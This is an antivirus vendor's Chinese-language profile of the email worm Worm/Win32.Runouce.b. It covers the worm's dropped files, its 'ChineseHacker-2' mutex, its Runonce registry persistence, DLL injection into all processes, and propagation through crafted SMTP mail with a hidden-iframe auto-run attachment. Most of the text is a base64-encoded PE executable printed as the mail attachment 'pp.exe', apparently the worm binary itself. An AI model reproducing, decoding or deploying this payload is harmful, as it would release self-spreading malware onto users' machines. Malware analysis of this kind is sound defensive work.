Worm/Win32.Runouce.b[Email]
病毒标签病毒名称: Worm/Win32.Runouce.b[Email]
病毒类型: 蠕虫
文件 MD5: 5BCD5AC1E81E9AD7D75B031DA6DF401B
公开范围: 完全公开
危害等级: 4
文件长度: 126,976 字节
感染系统: Windows98以上版本
开发工具: Microsoft Visual Basic 5.0 / 6.0
病毒描述该恶意文件为蠕虫病毒,本恶意病毒文件进行了加密处理,病毒运行后、暴力搜索kernel32基址,动态获取大量API函数地址,创建互斥量名为"ChineseHacker-2",防止多次运行产生的冲突,调用API函数隐藏打开病毒本体文件,创建病毒文件"runouce.exe、KillEDLL.DLL"到%system32%目录下,按节分别将病毒代码写入该文件中,试图将病毒DLL注入到所有进程中,并将属性设置为隐藏,添加注册表启动项、创建一个注册表监视的线程,如被删除,则立即重新写入病毒启动项,在系统目录下衍生"readme.eml"文件,该文件为病毒发送的邮件内容,该邮件内容为了躲避安全软件查杀便做了Base64加密处理,解密后得到的数据为PE文件可执行文件(病毒体文件),病毒调用系统自带的Outlook Express发送恶意邮件,病毒利用发送恶意邮件来传播自身。
行为分析-本地行为1、文件运行后会释放以下文件
%System32%KillEDLL.DLL
%System32%MSWBPROTECT.DLL
%System32%
unouce.exe
%Program Files%Common FilesMicrosoft SharedStationery
eadme.eml
%Program Files%Common FilesSystemado
eadme.eml
%Program Files%NetMeeting
eadme.eml
2、本恶意病毒文件进行了加密处理,病毒运行后、暴力搜索kernel32基址,动态获取大量API函数地址,调用API函数CreateMutexA创建互斥量名为"ChineseHacker-2",防止多次运行产生的冲突。
3、添加注册表启动项
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRunonce
值: 字符串: "C:WINDOWSsystem32
unouce.exe"
描述:添加注册表启动项
4、调用API函数隐藏打开病毒本体文件,创建病毒文件"runouce.exe"到%system32%目录下,按节分别将病毒代码写入该文件中,并将属性设置为隐藏,添加注册表启动项、创建一个注册表监视的线程,如被删除,则立即重新写入病毒启动项。
5、在系统目录下衍生"readme.eml"文件,该文件为病毒发送的邮件内容,该邮件内容为了躲避安全软件查杀便做了Base64加密处理,解密后得到的数据为PE文件可执行文件(病毒体文件),病毒调用系统自带的Outlook Express发送恶意邮件。
行为分析-网络行为协议:TCP
端口:139 445
描述:通过以上端口发送恶意邮件,邮件内容:
HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO:
DATA
FROM: A-738DF22C9CA04@yahoo.com
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="#BOUNDARY#"
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name="pp.exe"
Content-Transfer-Encoding: base64
Content-id: THE-CID
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAALoQAA4ftAnNIbg
BTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAtSzvggAAAAAAAAAA4ACOgQsBAhkAAgAAAAYAAAAAAAAA
RAAAABAAAAAgAAAAAEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAAAGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQAAAAAAA
AEAAAAAAAAAAAAAAAADAAAE4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ09ERQAAAAAAEAAAABAAA
AACAAAABgAAAAAAAAAAAAAAAAAAIAAAYERBVEEAAAAAABAAAAAgAAAAAgAAAAgAAAAAAAAAAAAAAAAAAEAAAMAuaWRhdGEAAAAQ
AAAAMAAAAAIAAAAKAAAAAAAAAAAAAAAAAABAAADALnJlbG9jAAD8HQAAAEAAAPwdAAAADAAAAAAAAAAAAAAAAAAAQAAA8AAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw/8lMDBAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgwAAAAAAAAAAAAADgwAAAwMAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABGMAAAAAAAAEYwAAAAAAAAS0VSTkVMMzIuZGxsAAAAAFNsZWVwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAwAAAADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGDo5hkAAIt0JCDoCAAAAGFoABBAAMPpWegBFgAAgeYA8P//ge4AEAAAZoE+TVp18w+3fjwD/otveAPui10g
A94zwIvWg8MEQIs7A/roDwAAAEdldFByb2NBZGRyZXNzAF4zybEP/POmddqL8otdJAPeD7cMQ4tdHAPeixyLA96B7PwAAACL/Im
0JOAAAADoXgQAAIvpVv/T/KuLzeL1iwQk6AsAAABVU0VSMzIuRExMAP/Qi/DoywYAAIvpVv/T/KuLzeL1iwQk6A0AAABBRFZBUE
kzMi5ETEwA/9CL8OgdBwAAi+lW/9P8q4vN4vWLBCToCAAAAE1QUi5ETEwA/9CL8OhcBwAAi+lW/9P8q4vN4vWLBCToDAAAAFdTT
0NLMzIuRExMAP/Qi/DofAcAAIvpVv/T/KuLzeL1i/ToEAAAAENoaW5lc2VIYWNrZXItMgBqAGoA/1YE/1YIC8B0Aszp/1YMagFQ
/1YQ6GgBAACL9OgNAAAAi/RoYOoAAP9WROvv6VnolRQAAOglCgAAjYIeAQAAiQLoDAoAAI1CLZCQkIkC6GEIAADo+gkAAI1CO5C
QkIkC6HYIAADo9AkAAI2ClwAAAIkC6NsJAACNQi2QkJCJAugwCAAA6MkJAACNQjuQkJCJAuhFCAAAi4boAAAAaGDqAABQ/1Zkg/
j/dFxW6EoAAABe6DsAAABOZXQgU2VuZCAqIE15IGdvZCEgU29tZSBvbmUga2lsbGVkIENoaW5lc2VIYWNrZXItMiBNb25pdG9yA
FhqAFD/VhDrnFnoyRMAAOhaAQAA6egAAAAAX4uGjAAAAImH/RUAAIuGlAAAAImHERYAAIuGmAAAAImHJhYAAItGRImHZhYAAI2H
vBUAAFBUagBQUGoAagD/VnSL2FiLhugAAABoYOoAAFD/VmRQagBT/1Z4WIP4/3QCzOlW6AMAAABe69lZ6E0TAADo3gAAAOlZ6EE
TAACB7AABAABU6OwGAACL/GoQV/9WcIP4/3Qdi9johRMAAGoAagBT/1Y8U+hjCwAAi/xqB1f/VihQVOguAAAAU09GVFdBUkVcTW
ljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuAGgCAACA/5agAAAAW4vE6AgAAABSdW5vbmNlAFloAAEAAFBqAWoAU
VP/lqQAAADoAAAAAF+LhqgAAACJh4QVAACLhqQAAACJh64VAACLhqwAAACJh5kVAACNh10VAABQVGoAU1BqAGoA/1Z0WDPAiYbo
AAAAgewAAQAAVOgNBgAA6AAAAABfi0ZQiYd7FQAAi0ZkiYeXFQAAi0YQiYeyFQAAi0ZIC8B0b2oBagD/0IuW4AAAAA+3WjwD2ou
LBAEAAItrVCvNgfkAAgAAckgD6o2XchUAAGpOkJCQkFVS6GQVAACNTU6QkJCL1GgAAQAAUVLoUBUAAP9WTFBUagBQVWoAagD/Vl
yJhugAAABYaPQBAAD/VkTM6WoAagD/lowAAABQVFD/logAAABqAGj/Dx8A/1ZQC8B0b4vYakBoABAAAGgAAgAAagBT/1ZoC8B0S
4vojZdyFQAAUFRqTpCQkJBSVVP/VlRYg/hOkJCQdSyL1I1NTpCQkFBUaAABAABSUVP/VlT/VkxUagBQVWoAagBT/1ZYiYboAAAA
WFP/VmBo9AEAAP9WRMzpWIvM6A4AAABHZXRTeXN0ZW1UaW1lAOgRAAAAR2V0Q29tcHV0ZXJOYW1lQQDoFAAAAFdpZGVDaGFyVG9
NdWx0aUJ5dGUA6BAAAABUZXJtaW5hdGVUaHJlYWQA6A0AAABDcmVhdGVUaHJlYWQA6AgAAABfbGNyZWF0AOgUAAAAR2V0U3lzdG
VtRGlyZWN0b3J5QQDoDwAAAFZpcnR1YWxBbGxvY0V4AOgUAAAAV2FpdEZvclNpbmdsZU9iamVjdADoDAAAAENsb3NlSGFuZGxlA
OgTAAAAQ3JlYXRlS2VybmVsVGhyZWFkAOgTAAAAQ3JlYXRlUmVtb3RlVGhyZWFkAOgTAAAAV3JpdGVQcm9jZXNzTWVtb3J5AOgM
AAAAT3BlblByb2Nlc3MA6BQAAABHZXRDdXJyZW50UHJvY2Vzc0lkAOgXAAAAUmVnaXN0ZXJTZXJ2aWNlUHJvY2VzcwDoBgAAAFN
sZWVwAOgIAAAAX2xjbG9zZQDoCAAAAF9sbHNlZWsA6AgAAABfbHdyaXRlAOgHAAAAX2xyZWFkAOgHAAAAX2xvcGVuAOgMAAAAU2
V0RmlsZVRpbWUA6BMAAABTZXRGaWxlQXR0cmlidXRlc0EA6AoAAABGaW5kQ2xvc2UA6A4AAABGaW5kTmV4dEZpbGVBAOgPAAAAR
mluZEZpcnN0RmlsZUEA6BUAAABTZXRDdXJyZW50RGlyZWN0b3J5QQDoDgAAAEdldERyaXZlVHlwZUEA6AgAAABXaW5FeGVjAOgQ
AAAAR2V0Q29tbWFuZExpbmVBAOgNAAAAR2V0TGFzdEVycm9yAOgNAAAAQ3JlYXRlTXV0ZXhBAOgNAAAATG9hZExpYnJhcnlBACv
MwekC/+DpWIvM6AoAAAB3c3ByaW50ZkEA6A0AAABTZW5kTWVzc2FnZUEA6AoAAABHZXRXaW5kb3cA6AwAAABNZXNzYWdlQm94QQ
DoDAAAAEZpbmRXaW5kb3dBAOgZAAAAR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkACvMwekC/+DpWIvM6BgAAABSZWdOb3RpZnlDa
GFuZ2VLZXlWYWx1ZQDoEQAAAFJlZ1F1ZXJ5VmFsdWVFeEEA6A8AAABSZWdTZXRWYWx1ZUV4QQDoDAAAAFJlZ09wZW5LZXlBACvM
wekC/+DpWIvM6A4AAABXTmV0Q2xvc2VFbnVtAOgSAAAAV05ldEVudW1SZXNvdXJjZUEA6A4AAABXTmV0T3BlbkVudW1BACvMwek
C/+DpWIvM6AUAAAByZWN2AOgMAAAAY2xvc2Vzb2NrZXQA6AcAAABzb2NrZXQA6AgAAABjb25uZWN0AOgOAAAAZ2V0aG9zdGJ5bm
FtZQDoBgAAAGh0b25zAOgFAAAAc2VuZADoCwAAAFdTQUNsZWFudXAA6AsAAABXU0FTdGFydHVwACvMwekC/+DpWIvM6AwAAADHu
bHQwO666da+IQDoEAAAAMily/vC6LXEt6jC1rmmIQDoEwAAALe0ttTQsL3MLLPnydC/xtGnIQDoDAAAALTytbmxvsCttcchAOgQ
AAAAz/LTotDbzfXOsNbC0uIhAOgOAAAAt7S21LDUyKjW99LlIQDoDgAAAMrAvefQ6NKqus3GvSEA6AwAAADJ57vh1vfS5brDIQA
rzP/g6cgAAABgi30IaAABAABX/1ZsA/joDQAAAFxydW5vdWNlLmV4ZQBeuRAAAAD886RhycIEAOm5GAAAALpDOlwAUVJU/1YUg/
gCcguD+AV0BlToqAAAAFpCWeLlw+kz/+g4AAAA6CkAAADoGgAAAOgLAAAAi0cUUOiCAAAAw+lXagHoIAAAAMPpV2oC6BYAAADD6
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
JRwRqEFdT/5bQAAAAg/j/D4TXAAAA/3UIV+jmAAAAagBQV1P/lsQAAABooA8AAP9WRIHsABAAAIkEJIHsABAAAIkEJIHsABAAAI
kEJIv8aAAwAABX/3UM/1Y0g/j/D4SJAAAAgewAEAAAiQQkgewAEAAAiQQkgewAEAAAiQQkgewAEAAAiQQki9RSUFfo1QIAAIv8a
gBQV1P/lsQAAABooA8AAP9WROgFAAAADQouDQpYagBqBVBT/5bEAAAAaKAPAAD/VkToBgAAAFFVSVQNClhqAGoGUFP/lsQAAABo
oA8AAP9WRMdF+AEAAABT/5bYAAAA/5bAAAAAi2X8YYtF+MnCCADIBAAAYLgAAQAAK+CL1FBUUv+WgAAAAFjoHQIAAEhFTE8gYnR
hbWFpbC5uZXQuY24NCk1BSUwgRlJPTTogaW1pc3N5b3VAYnRhbWFpbC5uZXQuY24NClJDUFQgVE86ICVzDQpEQVRBDQpGUk9NOi
Alc0B5YWhvby5jb20NClRPOiAlcw0KU1VCSkVDVDogJXMgaXMgY29tbWluZyENCk1JTUUtVmVyc2lvbjogMS4wDQpDb250ZW50L
XR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IiNCT1VOREFSWSMiDQoNCi0tI0JPVU5EQVJZIw0KQ29udGVudC1UeXBl
OiB0ZXh0L2h0bWwNCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFibGUNCg0KPGh0bWw+PEhFQUQ+PC9
IRUFEPjxib2R5IGJnQ29sb3I9M0QjZmZmZmZmPjxpZnJhbWUgc3JjPTNEY2lkOlRIRS1DSUQgaGVpZ2h0PTNEMCB3aWR0aD0zRD
A+PC9pZnJhbWU+PC9ib2R5PjwvaHRtbD4NCg0KLS0jQk9VTkRBUlkjDQpNSU1FLVZlcnNpb246IDEuMA0KQ29udGVudC1UeXBlO
iBhdWRpby94LXdhdjsgbmFtZT0icHAuZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0DQpDb250ZW50LWlk
OiBUSEUtQ0lEDQoNCgBYi/xX/3UMV/91DFD/dQj/lpwAAACL54lF/IHEAAEAAGGLRfzJwggAyAQAAGDHRfwAAAAA6EEAAABBQkN
ERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvAF6LfRCLVQzB4gMz2z
PAuQYAAADR4FP/dQjoMAAAAEp0DUPi74oEBvyq/0X8695J0+CKBAb8qv9F/NHpAU38sD3886oywKphi0X8ycIMAMgAAABRUlaLd
QiLTQyL0cHqA4oUFvbRgOEH0uqA4gEKwl5aWcnCCABYUegDAAAA6zrpZGf/NgAAZGeJJgAA6BwAAAD/Moki/+DpWOgPAAAAiyKP
AmRnjwYAAFlZ/+Dp6AQAAACI/hIAWsPpyAAAAOgIAAAA6NH/////4elZi0UQiYi4AAAAM8DJwhAA6GcBAABNWlAAAQIAAwQAAQ8
AAf//AAK4AAdAAAEaACIBAAK6EAABDh+0Cc0huAFMzSGQkFRoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlciBXaW4zMg0KJD
cAiFBFAAJMAQQAAbUs74IACOAAAY6BCwECGQABAgADBgAHEAADEAADIAAEQAACEAADAgACAQAHAwABCgAGUAADBAAGAgAFEAACI
AAEEAACEAAGEAAMMAACTgAcQAACDABTQ09ERQAFEAADEAADAgADBgAOIAACYERBVEEABRAAAyAAAwIAAwgADkAAAsAuaWRhdGEA
AxAAAzAAAwIAAwoADkAAAsAucmVsb2MAAxAAA0AAAwIAAwwADkAAAlAA/wD/AP8Aa8P/JTAwQAD/AP8A/wD9KDAACjgwAAIwMAA
WRjAABkYwAAZLRVJORUwzMi5kbGwABFNsZWVwAP8AtRAAAgwAAwMwAP8A/wD/APkAAF+KB0cKwHQNUIvEagFQU/9WOFjr7A+2D0
fjEVFQi8RqAVBT/1Y4WFni8evVw+nIAAAAgewAAQAAM/aL/Ga4DQq5DAAAAPzzZqvo9vD//4sUtAPhigJC/KoKwHX36AkAAAC3o
